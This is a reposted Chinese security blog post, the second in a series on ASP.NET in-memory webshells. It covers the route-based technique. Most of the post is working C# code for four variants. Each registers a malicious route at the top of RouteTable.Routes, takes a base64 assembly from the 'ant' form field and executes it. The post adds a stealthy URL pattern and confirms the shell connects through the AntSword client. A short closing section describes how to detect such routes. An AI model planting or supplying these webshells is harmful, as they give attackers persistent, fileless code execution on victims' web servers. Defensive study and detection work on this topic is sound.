ASP.NET下的内存马(2) Route内存马

admin 2025年2月25日12:00:30评论6 views字数 7678阅读25分35秒阅读模式

0x00 前言

asp.net下的内存马研究文章比较少,目前提到过的包括虚拟路径内存马以及HttpListener内存马。最近研究了一下其他类型的内存马,发现.net可以利用的地方要多得多。所以准备写个系列文章,讲一讲asp.net下的内存马。

文章仅作研究性质,不保证任何实战效果,请勿用于非法用途。

上篇讲了asp.net mvc下的filter内存马,必须依赖于system.web.mvc.dll这个东西,也就是只能在.net mvc下使用。那么如何仅利用.net framework里面的dll来实现新的内存马呢。这就引出了今天要讲的route内存马。

0x01 System.Web.Routing

System.Web.Routing这个类最早出现在.net 3.5,主要用于在 ASP.NET 应用程序中处理路由。

微软文档介绍:

Route类使你可以指定如何在ASP.NET应用程序中处理路由。Route为要映射到的每个URL模式创建一个对象,该对象可以处理与该模式对应的请求。然后,将路由添加到Routes集合。当应用程序收到请求时,ASP.NET路由会循环访问集合中的路由,Routes以查找第一个与URL模式匹配的路由。

Url属性设置为URL模式。URL模式由传入HTTP请求中的应用程序名称后面的段组成。例如,在URLhttp://www.contoso.com/products/show/beverages ,模式适用于 products/show/beverages 。 具有三个段(如)的模式 {controller}/{action}/{id} 与 URL 匹配 http://www.contoso.com/products/show/beverages 。 每个段均由 / 字符分隔。 当段括在大括号中 ({ 和 }) 时,段会被称为 URL 参数。 ASP.NET 路由从请求中检索值并将其分配给 URL 参数。 在上面的示例中,将为 URL 参数 action 分配值 show 。 如果段未括在大括号中,则该值将被视为文本值。

Defaults属性设置为一个RouteValueDictionary对象,该对象包含在url缺少参数时使用的值,或者设置未在url中参数化的其他值。Constraints属性设置为RouteValueDictionary包含正则表达式或对象的值的对象IRouteConstraint这些值用于确定参数值是否有效。

如果我们能够动态打进去一个路由,然后映射到我们自定义的类,即可实现内存马的效果。

0x02 Route内存马

那么如何添加呢?我们上一篇文章看到了在mvc中是存在一个GlobalFilters.Filters来存放filter,第二个RouteTable.Routes便是存放全局route的collection。

publicclass MvcApplication:System.Web.HttpApplication
{
protectedvoidApplication_Start()
{
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
}
}

这里提一嘴为啥不能直接用mvc下面的RouteConfig.RegisterRoutes来注册route

点进函数可以看到调用了System.Web.Mvc.RouteCollectionExtensions.MapRoute方法,而这个方法也是要依赖System.Web.Mvc.dll的。所以不能直接拿来用。

publicclass RouteConfig
{
publicstaticvoidRegisterRoutes(RouteCollectionroutes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.MapRoute(
name:"Default",
url:"{controller}/{action}/{id}",
defaults:new{controller="Home",action="Index",id=UrlParameter.Optional}
);
}
}

一路寻找重载,发现实际上就是给RouteTable.Routes里面增加了一个元素,我们直接调用route.Add即可。

ASP.NET下的内存马(2) Route内存马

System.Web.Routing.RouteCollection.Add第一个参数是名字,不过没有太大用处,只是为了判断map里面有没有重复的。第二个参数是重点,要打进去一个RouteBase类型的item。RouteBase是个抽象类,默认的实现为System.Web.Routing.Route。

这里就有不同的操作方式了,第一种是自己实现一个RouteBase,第二种是new一个System.Web.Routing.Route对象。

自己实现RouteBase

继承RouteBase需要实现两个方法:

GetRouteData(HttpContextBase) 在派生类中重写时,返回关于请求的路由信息。
GetVirtualPath(RequestContext, RouteValueDictionary) 在派生类中重写时,检查路由是否与指定的值匹配,如果匹配,则生成 URL,并检索有关该路由的信息。

这个点是目前来看最佳的注入点,beichen师傅在kcon的演讲中也是用的这个函数。改写GetRouteData方法,里面加入我们的shell逻辑即可。这里HttpContextBase是个抽象类,具体的实现是HttpContextWrapper,需要用到反射来获取我们需要的request跟response。

这里注意一定要加HttpResponse.End(),具体原因大家可以思考一下。

publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
StringPayload=httpContext.Request.Form["ant"];
if(Payload!=null)
{
FieldInforequestField=
typeof(HttpRequestWrapper).GetField("_httpRequest",BindingFlags.Instance|BindingFlags.NonPublic);
HttpRequesthttpRequest=
(HttpRequest)requestField.GetValue(httpContext.Request);

FieldInforesponseField=
typeof(HttpResponseWrapper).GetField("_httpResponse",
BindingFlags.Instance|BindingFlags.NonPublic);
HttpResponsehttpResponse=
(HttpResponse)responseField.GetValue(httpContext.Response);
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(newobject[]{httpRequest,httpResponse});
httpResponse.End();
}
returnnull;
}

publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
returnnull;
}
}

更简单的一种做法是直接用HttpContext.Current就获取当前的Context对象,传入Equals里即可。

publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
HttpContextcontext=HttpContext.Current;
StringPayload=httpContext.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}

publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
returnnull;
}
}

将我们的逻辑注入到GetRouteData函数中,这是第一种写法。

其实用GetVirtualPath也是可以注入我们的逻辑的,这是第二种写法。

publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
returnnull;
}

publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
HttpContextcontext=HttpContext.Current;
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}
}

那么到底哪个函数会更先被调用呢?我在两个函数,以及Controller里分别加了一条打印的语句。

ASP.NET下的内存马(2) Route内存马

ASP.NET下的内存马(2) Route内存马

发现顺序是 GetRouteData>Controller>GetVirtualPath,所以还是GetRouteData比较好用。

利用System.Web.Routing.Route

另一种做法就是沿着现有实现类Route的逻辑来走。

ASP.NET下的内存马(2) Route内存马

他的构造类需要两个参数,第一个是url pattern,第二个是对应的处理handler。

实现IRouteHandler接口需要实现GetHttpHandler方法,需要返回一个实现了IHttpHandler的handler

这里其实又有不同的操作了,内存马的本质是我们把恶意的代码注入到了一个每次Web请求都会触发的地方。

所以我们既可以在RouteHandler中添加恶意逻辑,也可以在实现的HttpHandler里加恶意逻辑。

publicclass MyRoute:IRouteHandler
{
publicIHttpHandlerGetHttpHandler(RequestContextrequestContext)
{
HttpContextcontext=HttpContext.Current;
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}
}

ASP.NET下的内存马(2) Route内存马

报错不影响连接,如果有强迫症可以实现一个空的IHttpHandler。

主要逻辑在ProcessRequest里,这是第四种写法

publicclass MyRoute:IRouteHandler
{
publicIHttpHandlerGetHttpHandler(RequestContextrequestContext)
{
returnnewMyhandler(requestContext);
}
}

publicclass Myhandler:IHttpHandler

{
publicRequestContextRequestContext{get;privateset;}

publicMyhandler(RequestContextcontext)
{
this.RequestContext=context;
}

publicvoidProcessRequest(HttpContextcontext)
{
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
context.Response.End();
}

publicboolIsReusable
{
get{returnfalse;}
}
}

文档:https://docs.microsoft.com/zh-cn/dotnet/api/system.web.routing.route.url?view=netframework-3.5

将值分配给Url属性时,在/分析URL时,字符被解释为分隔符。使用大括号({})来定义称为URL参数的变量。URL中的匹配段的值分配给URL参数。Url未括在大括号中的属性中的任何值都将被视为文本常量
?不允许在属性中使用该字符Url必须通过分隔符或文本常量分隔每个URL段。可以将{{}}用作大括号字符的转义符。

用这种方式有一个问题,Route的URL默认没有正则,不能像java一样直接指定/*,但是可以用{xxx}来表示任意变量

在此为了不影响业务,我们选择一个只有自己知道的开头的字符串

newRoute("mr6{page}",newMyRoute())

这样任意/mr6xxxxx 都可以连接。

添加到第一位

跟mvc的filter不同的是,Route的add方法没有order参数的选项,所以依然要考虑如何把我们的shell添加到第一位的问题。

RouteCollection本质是个Collection,所以只需要调用Insert方法,并且指定位置为0即可把我们的shell添加到第一位。

RouteCollectionroutes=RouteTable.Routes;
routes.Insert(0,(RouteBase)newMyRoute());

至此我们的内存马大业就算完成了。

0x03 测试

访问注入内存马的aspx,一片空白说明注入成功

ASP.NET下的内存马(2) Route内存马

蚁剑中输入任意url,连接成功。

ASP.NET下的内存马(2) Route内存马

0x04 检测内存马

本人写了个小脚本 ASP.NET-Memshell-Scanner,可用于各类内存马的检测。

下载项目中的检测脚本 https://github.com/yzddmr6/ASP.NET-Memshell-Scanner/blob/master/aspx-memshell-scanner.aspx,放到网站目录下,浏览器访问。

ASP.NET下的内存马(2) Route内存马

其中id为1的是使用本文中实现RouteBase的方式注入的内存马,这种情况下Router Type为攻击者自己设置的类名,并且没有RouteHandler。

id为2的是使用本文中利用System.Web.Routing.Route注入的内存马,这种情况下Router Type为System.Web.Routing.Route,RouteHandler Type为攻击者自己设置的类名,并且存在URL路径。

实锤方法同上文,找到可疑Router的CodeBase文件,使用dnspy等反编译工具打开。

找到类名对应的文件,发现恶意代码,即可确认被注入了内存马。

ASP.NET下的内存马(2) Route内存马

0x05 参考

https://docs.microsoft.com/zh-cn/dotnet/api/system.web.routing.route?view=netframework-3.5

https://www.cnblogs.com/liangxiaofeng/p/5619866.html

https://www.programminghunter.com/article/8505151604/

https://github.com/knownsec/KCon/blob/master/2021/%E9%AB%98%E7%BA%A7%E6%94%BB%E9%98%B2%E6%BC%94%E7%BB%83%E4%B8%8B%E7%9A%84Webshell.pdf

https://mp.weixin.qq.com/s/cm8pPAw7dZ-iMb4LvVXAlQ

FROM:tttang . com

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日12:00:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ASP.NET下的内存马(2) Route内存马https://cn-sec.com/archives/848719.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息